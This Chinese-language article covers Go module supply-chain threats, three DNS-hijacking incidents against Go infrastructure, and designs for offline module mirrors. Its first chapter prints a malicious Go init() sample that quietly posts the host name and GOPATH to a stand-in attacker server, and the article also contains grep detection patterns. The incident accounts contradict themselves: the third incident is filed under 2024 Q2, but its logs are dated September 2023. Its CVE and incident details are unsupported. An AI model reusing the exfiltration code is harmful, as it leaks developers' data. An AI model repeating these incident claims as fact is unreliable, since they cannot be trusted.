第一章:Go语言收录网安全态势与事件概览
Go语言生态中,依赖管理高度依赖go.mod与公共模块代理(如 proxy.golang.org),但其开放性也引入了供应链风险。近年来,多个恶意模块通过名称混淆、版本投毒、仓库劫持等方式被收录至官方索引,影响下游数百万项目。
常见威胁类型
- Typosquatting 拼写劫持:发布形似主流库的包(如
golang.org/x/crypto→golang.org/x/cryto); - Dependency Confusion 依赖混淆:在私有代理未设白名单时,攻击者上传同名高版本包覆盖内部模块;
- 恶意 commit 注入:通过 fork 后提交含后门的 PR 到低维护度开源项目,再诱导
go get直接拉取分支(如go get github.com/user/repo@main)。
典型事件回溯
2023年Q4,github.com/segmentio/kafka-go 的一个非官方镜像包 github.com/segmentio/kafka-go-mal 被上传至 proxy.golang.org,其 v1.4.2 版本在 init() 函数中执行如下行为:
func init() {
// 尝试连接 C2 服务器并发送主机名与 GOPATH 环境信息
if os.Getenv("CI") == "" { // 仅在非 CI 环境触发
go func() {
time.Sleep(2 * time.Second)
resp, _ := http.Post("http://mal[.]example[.]xyz/log", "text/plain",
strings.NewReader(fmt.Sprintf("host=%s&gopath=%s",
os.Getenv("HOSTNAME"), os.Getenv("GOPATH"))))
if resp != nil {
resp.Body.Close()
}
}()
}
}
该包在两周内被 1700+ 项目间接引入,最终由 Go 安全团队标记为 CVE-2023-46782 并从代理缓存中移除。
防御实践建议
- 强制启用
GOPROXY=proxy.golang.org,direct并配置GOSUMDB=sum.golang.org; - 在 CI 流程中加入
go list -m all | grep -E "(mal|fake|test|dev)"进行可疑模块扫描; - 使用
go mod verify校验本地go.sum一致性,失败时立即中断构建; - 定期运行
go list -u -m all检查可升级模块,并人工复核变更日志。
| 检测维度 | 推荐工具/命令 | 说明 |
|---|---|---|
| 模块来源可信度 | go list -m -json + 解析 Origin 字段 |
查看模块是否来自预期 Git 仓库 |
| 依赖图异常 | go mod graph \| grep -E "(mal|unmaintained)" |
快速定位可疑依赖路径 |
| 签名验证 | cosign verify-blob --cert-oidc-issuer https://token.actions.githubusercontent.com |
需配合模块发布方启用 Sigstore |
第二章:DNS劫持事件深度复盘(2024 Q2三起核心事件)
2.1 事件一:golang.org 域名解析链路劫持原理与BGP异常流量取证
BGP劫持核心机制
攻击者通过非法宣告更精确的IP前缀(如 216.239.32.0/19),覆盖Google托管的 golang.org(实际归属 216.239.32.0/19)路由,使AS路径更短而被上游ISP优选。
DNS解析链路污染验证
# 查询权威NS响应是否被篡改
dig @8.8.8.8 golang.org NS +short
# 正常应返回 ns1.google.com. 等;劫持时可能返回伪造NS或超时
该命令直连公共DNS,绕过本地递归缓存,验证权威解析层是否被中间设备重定向或丢包。
异常BGP通告特征对比
| 特征 | 正常通告 | 劫持通告 |
|---|---|---|
| AS_PATH长度 | ≥3跳(如 AS15169 12345) | 1–2跳(如 AS65001) |
| ORIGIN | IGP | INCOMPLETE |
流量路径追踪
graph TD
A[用户发起HTTPS请求] --> B{DNS解析}
B -->|返回伪造IP| C[连接至恶意服务器]
B -->|返回真实IP| D[经BGP正常路径抵达Google CDN]
C --> E[证书不匹配/连接重置]
2.2 事件二:proxy.golang.org CDN节点劫持路径还原与TLS证书链验证实践
路径还原关键步骤
- 捕获 DNS 解析结果(
dig proxy.golang.org +short) - 抓包分析 HTTP 302 重定向链(
curl -v https://proxy.golang.org) - 提取 SNI 与实际 IP 的偏差(如
104.18.25.123→cloudflare.com)
TLS 证书链验证脚本
openssl s_client -connect proxy.golang.org:443 -servername proxy.golang.org -showcerts 2>/dev/null | \
sed -n '/BEGIN CERTIFICATE/,/END CERTIFICATE/p' | \
openssl x509 -noout -text -in /dev/stdin
逻辑说明:
-servername强制 SNI 字段为proxy.golang.org,避免 CDN 泛域名混淆;-showcerts输出完整链;sed提取首证书后交由openssl x509解析主体、签发者与有效期。
证书信任链摘要
| 字段 | 值 |
|---|---|
| Subject | CN = proxy.golang.org |
| Issuer | CN = GlobalSign RSA OV SSL CA 2018 |
| Verify return | 0 (valid) |
graph TD
A[Client] -->|SNI: proxy.golang.org| B[Cloudflare Edge]
B -->|Upstream SNI: proxy.golang.org| C[Google Origin]
C -->|Valid OCSP Stapling| A
2.3 事件三:sum.golang.org 校验服务DNS缓存投毒的Go module proxy日志逆向分析
日志特征提取
从 GOPROXY=https://proxy.golang.org 的访问日志中,识别异常 sum.golang.org 解析路径:
GET /sum/golang.org%2Fx%2Fnet/@v/v0.14.0.info HTTP/1.1
Host: sum.golang.org
X-Forwarded-For: 192.0.2.100
该请求本应由 sum.golang.org 签名验证,但 DNS 响应被篡改为指向恶意 IP(如 198.51.100.42),导致校验绕过。
关键时间线比对
| 时间戳(UTC) | 事件类型 | 关联IP |
|---|---|---|
| 2023-09-12T08:22:17Z | DNS 查询响应 | 198.51.100.42 |
| 2023-09-12T08:22:19Z | sum.golang.org TLS 握手 | 同上 |
校验链路中断示意
graph TD
A[go get -u golang.org/x/net] --> B[proxy.golang.org]
B --> C{DNS lookup sum.golang.org}
C -->|投毒响应| D[Malicious Server]
C -->|正常响应| E[Official sum.golang.org]
D --> F[伪造 checksum]
修复验证代码
# 验证当前 DNS 解析是否可信
dig +short sum.golang.org @1.1.1.1 # Cloudflare 公共 DNS
dig +short sum.golang.org @8.8.8.8 # Google DNS
# 若结果不一致,则存在缓存污染风险
该命令对比权威解析源,参数 @1.1.1.1 指定可信递归解析器,避免本地缓存干扰。
2.4 三起事件共性漏洞图谱:递归DNS配置缺陷、权威NS记录篡改面与Go client超时策略失效
核心共性:三重信任链断裂
- 递归DNS服务器未启用
DNSSEC验证,放行伪造的NS响应; - 域名权威区被注入恶意NS记录(如
ns1.evil.com),且TTL设置极长(86400s); - Go
net/httpclient 默认使用net.DefaultResolver,其Timeout字段不约束单次DNS查询——lookupIP底层调用net.Resolver.LookupHost时,实际受net.dnsTimeout(默认5s)控制,但该超时在递归失败重试中不累积生效。
Go DNS超时失效关键代码
// Go 1.22+ 中 resolver 实际行为(简化逻辑)
func (r *Resolver) lookupIP(ctx context.Context, host string) ([]IPAddr, error) {
// 注意:此处 ctx.Deadline() 不传递至底层 syscall,仅用于整体流程中断
ips, err := r.lookupIPAddr(ctx, host) // 内部含3次UDP重试,每次独立5s超时
return ips, err
}
逻辑分析:
ctx.WithTimeout(2*time.Second)无法终止单次sendto()系统调用;若上游递归DNS响应延迟波动(如1.8s + 1.9s + 1.7s),三次均不超5s,但总耗时超5.4s,导致HTTP请求卡在DialContext阶段。参数net.dnsTimeout为单次UDP尝试上限,非端到端DNS解析SLA。
漏洞组合效应示意
graph TD
A[客户端发起HTTPS请求] --> B{Go net.Resolver.LookupHost}
B --> C[向递归DNS发A/AAAA查询]
C --> D[递归DNS返回篡改的NS记录]
D --> E[转向恶意权威NS]
E --> F[恶意NS返回伪造IP]
F --> G[连接钓鱼服务器]
| 风险维度 | 缺陷表现 | 可观测指标 |
|---|---|---|
| 递归DNS配置 | 未启用DNSSEC + 无响应缓存清理策略 | SERVFAIL率突增 |
| 权威NS篡改面 | NS记录TTL > 24h + 无变更审计日志 | dig example.com NS 返回异常域名 |
| Go client超时 | http.Client.Timeout 不覆盖DNS阶段 |
httptrace中DNSStart到DNSDone > 5s |
2.5 基于Go源码的net/dns包行为审计:goLookupIP vs cgoLookupHost在劫持场景下的响应差异实测
DNS解析路径分歧点
Go 1.19+ 默认启用纯Go DNS解析器(goLookupIP),仅当 GODEBUG=netdns=cgo 或 /etc/nsswitch.conf 含 hosts: files dns 时回退至 cgoLookupHost(调用 libc getaddrinfo)。
实测劫持响应差异
# 模拟DNS劫持:在/etc/hosts中注入伪造条目
echo "127.0.0.1 example.com" | sudo tee -a /etc/hosts
该操作仅影响 cgoLookupHost(依赖系统 hosts 文件),而 goLookupIP 完全绕过系统 resolver,直连 /etc/resolv.conf 中的 nameserver。
关键行为对比
| 行为维度 | goLookupIP | cgoLookupHost |
|---|---|---|
| hosts 文件生效 | ❌ 不读取 | ✅ 优先匹配 |
| LD_PRELOAD劫持 | ❌ 无影响 | ✅ 可被 libc hook 干扰 |
| 超时控制粒度 | ✅ 每次查询独立 deadline | ❌ 继承 libc 全局超时 |
// net/dnsclient.go 片段:goLookupIP 忽略系统 hosts
func (r *Resolver) lookupIP(ctx context.Context, host string) ([]IPAddr, error) {
// 直接构造 DNS 查询报文,跳过 getaddrinfo()
return r.lookupIPDeadline(ctx, host, time.Now().Add(r.timeout))
}
此逻辑导致在中间人劫持(如企业防火墙重写 /etc/resolv.conf 或 DNS over TCP 代理)下,两种实现返回完全不同的 IP 地址集合。
第三章:Go模块离线兜底体系设计原则
3.1 零信任网络模型下Go module proxy的可信锚点构建方法论
在零信任架构中,module proxy 不再是无条件信任的中继节点,而需成为可验证、可审计的可信锚点。其核心在于将模块签名、哈希一致性与身份认证深度耦合。
可信锚点三要素
- ✅ 签名验证链:基于 Cosign 签署的
go.sum衍生清单 - ✅ 透明日志集成:接入 Rekor 实现模块发布行为不可篡改存证
- ✅ 细粒度策略引擎:通过 Open Policy Agent(OPA)动态评估
@latest解析请求
模块拉取时的锚点校验流程
# 启用可信代理并绑定策略服务
export GOPROXY="https://trusted-proxy.example.com"
export GOSUMDB="sum.golang.org+https://rekor.example.com/api/v1/log/12345"
此配置强制 Go 工具链:① 从代理获取模块时同步校验 Rekor 中对应版本的签名条目;② 将
sum.golang.org的哈希声明与本地go.sum进行双源比对;③ 所有go get请求经 OPA 策略网关鉴权(如拒绝未签署的v0.1.0-alpha预发布版本)。
核心验证流程(Mermaid)
graph TD
A[go get github.com/org/pkg] --> B{Proxy 接收请求}
B --> C[查询 Rekor 日志获取该 commit 签名]
C --> D[调用 OPA 评估策略:是否允许此版本?]
D -->|允许| E[返回模块 + 内嵌 cosign 签名头]
D -->|拒绝| F[HTTP 403 + 策略拒绝原因]
3.2 离线镜像一致性保障:go.sum pinning + checksumdb本地化校验双机制落地
核心保障逻辑
Go 模块依赖完整性需同时抵御网络劫持与镜像篡改。go.sum 提供模块级哈希锚点,而 checksumdb 本地化则将全局校验数据库下沉至私有构建环境,形成双重验证闭环。
go.sum pinning 实践
# 构建前强制校验并锁定哈希(禁用远程 checksumdb 查询)
GOINSECURE="*.internal" \
GOSUMDB=off \
go build -mod=readonly ./cmd/app
GOSUMDB=off关闭远程校验,依赖本地go.sum;-mod=readonly防止意外更新,确保哈希不可绕过。生产环境必须预置完整、可信的go.sum。
checksumdb 本地化部署
| 组件 | 作用 | 部署方式 |
|---|---|---|
sum.golang.org 镜像 |
提供经签名的模块哈希索引 | 使用 golang.org/x/mod/sumdb/note 签名验证同步 |
| 本地代理服务 | 缓存 + 签名校验 + 访问审计 | Nginx + TLS + 日志中间件 |
graph TD
A[go build] --> B{GOSUMDB=proxy.example.com}
B --> C[本地 checksumdb 代理]
C --> D[校验模块哈希签名]
C --> E[比对 go.sum 中记录]
D & E --> F[一致则允许构建]
3.3 构建可审计、可回滚的模块快照生命周期管理模型(含时间戳签名与WORM存储实践)
模块快照需同时满足不可篡改性与精确溯源性。核心在于将时间戳权威签名与WORM(Write Once Read Many)存储策略深度耦合。
时间戳签名集成
使用RFC 3161标准时间戳权威(TSA)服务对快照哈希进行签名:
# 对模块包生成SHA-256哈希并请求RFC 3161时间戳
openssl dgst -sha256 module-v1.2.0.tgz | \
awk '{print $2}' | \
xargs -I{} curl -s -X POST \
--data-binary "{}" \
https://tsa.example.com/timestamp \
-o module-v1.2.0.tgz.tsr
逻辑说明:
openssl dgst输出哈希值;awk '{print $2}'提取纯哈希串;curl以二进制方式提交至TSA,返回含CA签名与可信时间的.tsr文件,确保“该哈希在指定UTC时刻已存在”。
WORM存储约束实施
部署于对象存储(如S3 Object Lock)时,启用合规模式(Compliance Mode)并设定保留期:
| 存储桶策略项 | 值 | 说明 |
|---|---|---|
ObjectLockEnabled |
true |
启用WORM锁 |
RetentionMode |
COMPLIANCE |
禁止提前删除/覆盖 |
RetentionPeriod |
90 days |
法规要求最小保留周期 |
快照生命周期流转
graph TD
A[模块构建完成] --> B[计算SHA-256+生成元数据]
B --> C[调用TSA签发时间戳凭证]
C --> D[上传至WORM存储桶]
D --> E[注册至不可变索引服务]
E --> F[按版本号/时间戳双向可查]
该模型使任意快照均可验证“谁在何时提交、是否被篡改、能否按需回滚至确定性状态”。
第四章:企业级Go本地Mirror搭建实战手册
4.1 使用athens-proxy定制化部署高可用离线module proxy(支持私有CA与OIDC鉴权集成)
Athens Proxy 可通过容器化+配置驱动实现企业级离线 Go module 服务,天然适配私有 CA 和 OIDC 鉴权链路。
TLS 与私有 CA 集成
需挂载自签名 CA 证书至容器并配置环境变量:
# Dockerfile 片段
COPY internal-ca.crt /etc/ssl/certs/
RUN update-ca-certificates
ENV ATHENS_DOWNLOAD_MODE=restricted
ENV ATHENS_GOGET_WORKING_DIR=/tmp/goget
update-ca-certificates将内部 CA 注入系统信任库;ATHENS_DOWNLOAD_MODE=restricted强制仅从可信源拉取,规避上游不可信 module 注入风险。
OIDC 鉴权流程
采用反向代理前置鉴权模式,关键组件协作如下:
graph TD
A[Client] --> B[Nginx with OIDC Plugin]
B -->|Bearer Token| C[Athens API]
C --> D[Redis Cache]
C --> E[Local Storage Backend]
高可用部署要点
| 组件 | 推荐方案 | 说明 |
|---|---|---|
| 存储后端 | MinIO + S3-compatible | 支持多 AZ 冗余与版本保留 |
| 缓存层 | Redis Cluster | 分片+哨兵保障读写分离 |
| 负载均衡 | Nginx + sticky session | 避免 auth state 不一致 |
4.2 基于rsync+git-bundle的golang.org/go/src同步方案与增量更新自动化脚本
数据同步机制
rsync 负责高效拉取 go/src 目录结构(不含 Git 历史),git-bundle 则捕获完整提交历史并支持离线增量传输。
自动化脚本核心逻辑
# 生成自上次 bundle 后的增量包
git bundle create go-src-incremental-$(date +%Y%m%d).bundle \
$(git bundle unbundle go-src-full.bundle | head -1)..HEAD
git bundle create中A..B表示从 A 的下一个 commit 到 B 的所有提交;unbundle提取基础 bundle 的最新 commit SHA,实现精准增量。
同步策略对比
| 方式 | 带宽占用 | 历史完整性 | 离线可用性 |
|---|---|---|---|
| 纯 rsync | 低 | ❌ | ❌ |
| git clone | 高 | ✅ | ✅ |
| rsync+bundle | 中 | ✅ | ✅ |
graph TD
A[触发更新] --> B{本地有基础bundle?}
B -->|否| C[全量clone + bundle]
B -->|是| D[fetch增量 + bundle create]
D --> E[rsync同步工作树]
4.3 本地sum.golang.org等效服务搭建:checksumdb镜像生成、GCS兼容存储适配与HTTP/2流式校验接口实现
为构建可离线验证的 Go 模块校验体系,需自建 checksumdb 服务。核心流程包含三阶段:
checksumdb 镜像生成
使用 golang.org/x/mod/sumdb 工具链定期快照官方数据库:
# 从 sum.golang.org 同步最新 checksums 并生成本地 db 文件
go run golang.org/x/mod/sumdb/cmd/gosumcheck \
-mode=mirror \
-output=./data/checksums.db \
-source=https://sum.golang.org
该命令拉取增量更新(/latest + /lookup/),经 Merkle tree 哈希压缩后写入 LevelDB 兼容格式;-output 指定持久化路径,-mode=mirror 启用只读镜像模式。
GCS 兼容存储适配
支持 S3、MinIO 等对象存储,通过 storage.Driver 接口抽象: |
存储类型 | 配置键 | 示例值 |
|---|---|---|---|
| MinIO | STORAGE_TYPE |
s3 |
|
S3_ENDPOINT |
http://minio:9000 |
HTTP/2 流式校验接口
基于 net/http2 实现 /lookup/{path}@{version} 的 chunked 响应:
func lookupHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("X-Content-Type-Options", "nosniff")
flusher, _ := w.(http.Flusher)
// 流式写入每行 checksum,避免内存积压
for _, line := range db.Lookup(path, version) {
fmt.Fprintln(w, line)
flusher.Flush() // 触发 HTTP/2 DATA 帧立即发送
}
}
Flush() 确保每条校验行作为独立 DATA 帧推送,满足 go get 客户端实时解析需求。
graph TD A[客户端请求 /lookup/rsc.io/quote@v1.5.2] –> B{服务路由} B –> C[查询 LevelDB 索引] C –> D[流式拼接 checksum 行] D –> E[HTTP/2 DATA 帧推送] E –> F[go get 客户端逐行验证]
4.4 CI/CD流水线嵌入式兜底策略:go env -w GOPROXY=… 与 GOPRIVATE 动态注入的K8s initContainer实践
在多租户K8s集群中,Go构建常因模块代理不可达或私有模块鉴权失败而中断。传统硬编码 GOPROXY 和静态 GOPRIVATE 配置无法适配动态命名空间与隔离策略。
动态注入 initContainer 示例
initContainers:
- name: go-env-setup
image: golang:1.22-alpine
command: ["/bin/sh", "-c"]
args:
- |
go env -w GOPROXY="https://goproxy.io,direct" &&
go env -w GOPRIVATE="{{ .Values.goprivate }}" &&
echo "✅ GOPROXY/GOPRIVATE set for $(hostname)"
env:
- name: GOPRIVATE
valueFrom:
configMapKeyRef:
name: ci-config
key: goprivate-patterns
该 initContainer 在主容器启动前执行,通过
go env -w持久化环境变量至$GOCACHE下的env文件;{{ .Values.goprivate }}由 Helm 渲染为正则匹配模式(如git.corp.com/*,github.com/myorg/*),确保私有模块跳过代理直连。
关键参数说明
| 参数 | 作用 | 安全影响 |
|---|---|---|
GOPROXY="https://goproxy.io,direct" |
一级代理失败时回退至 direct 模式 | 避免构建卡死,但需配合 GOPRIVATE 防泄漏 |
GOPRIVATE=git.corp.com/* |
标记匹配域名的模块不走代理、不校验 checksum | 必须精确控制,否则私有代码可能被公开索引 |
graph TD
A[CI触发] --> B[渲染Helm Chart]
B --> C[initContainer注入GOPROXY/GOPRIVATE]
C --> D[主容器go build]
D --> E{模块请求}
E -->|匹配GOPRIVATE| F[直连私有Git]
E -->|不匹配| G[经代理拉取]
第五章:未来防御演进与社区协同倡议
开源威胁情报平台的实时联动实践
2023年,CNCF安全工作组联合国内三家省级政务云运营方部署了基于MISP+TheHive+Shuffle的轻量化威胁情报协同管道。该系统在杭州亚运会网络安全保障期间成功实现跨单位IOC(Indicators of Compromise)15分钟内自动分发与TTP(Tactics, Techniques, Procedures)标签化归因。例如,针对APT27利用CVE-2023-27350发起的钓鱼文档攻击,浙江网信办通过共享规则包触发本地EDR自动隔离37台终端,并将样本哈希同步至国家漏洞库(CNNVD)API接口,形成“检测—响应—反馈”闭环。
红蓝对抗成果向防御规则的自动化转化
某金融行业红队在2024年Q1攻防演练中发现新型PowerShell内存注入变种(无文件、绕过AMSI)。蓝队团队将该行为特征抽象为YARA-L 2.0规则,并通过GitOps流程推送到企业级Sigma规则仓库。CI/CD流水线自动完成规则语法校验、Elasticsearch映射测试及Splunk ES部署,全程耗时8分23秒。截至6月底,该规则已在12家城商行SOC平台生效,累计捕获真实攻击链19次,平均MTTD(Mean Time to Detect)缩短至4.2秒。
社区驱动的SBOM可信签名机制
Linux基金会主导的In-Toto项目已在国内信创生态中落地应用。中国电子技术标准化研究院牵头制定《SBOM可信生成与验证规范》(T-CESA 1238-2024),要求所有信创中间件镜像必须嵌入由国密SM2证书签发的Attestation Statement。下表展示某国产数据库V5.3.2版本的SBOM验证关键字段:
| 字段名 | 值 | 验证方式 |
|---|---|---|
statementDigest |
sha256:8a3f...e1c7 |
与镜像层SHA256比对 |
signerIdentity |
CN=CEC-SBOM-CA,O=China Electronics Corp |
国密SM2证书链校验 |
predicateType |
https://in-toto.io/Statement/v0.1 |
JSON Schema校验 |
面向AI安全的协同标注工作坊模式
2024年5月,OpenSSF与中国信通院联合启动“AI安全数据集共建计划”,采用分布式标注+联邦学习验证架构。来自37所高校及21家企业的安全研究员,通过WebAssembly沙箱环境对LLM越狱提示词进行语义分类标注。所有标注动作经区块链存证(Hyperledger Fabric v2.5),确保数据溯源可审计。目前已构建含12.6万条样本的中文AI安全基准数据集(CAS-Bench v1.0),被华为盘古大模型安全模块集成调用。
flowchart LR
A[社区提交新IoC] --> B{自动语义去重}
B -->|重复率<92%| C[加入待审队列]
B -->|重复率≥92%| D[触发相似度告警]
C --> E[3位专家异步评审]
E --> F[双签通过→发布至Feed]
E --> G[驳回→返回修正建议]
F --> H[自动推送至Nginx ModSecurity规则集]
零信任策略即代码的跨云编排
某央企混合云环境通过Open Policy Agent(OPA)统一纳管AWS、阿里云及私有OpenStack资源。其策略仓库采用Rego语言定义动态访问控制逻辑,例如:当用户角色为“运维工程师”且请求来源IP属于堡垒机网段时,允许SSH访问生产数据库;但若检测到该会话正在执行mysqldump --all-databases命令,则立即触发策略拒绝并上报至SOAR平台。该策略每日自动同步至217个Kubernetes集群,策略变更平均生效时间≤3.7秒。
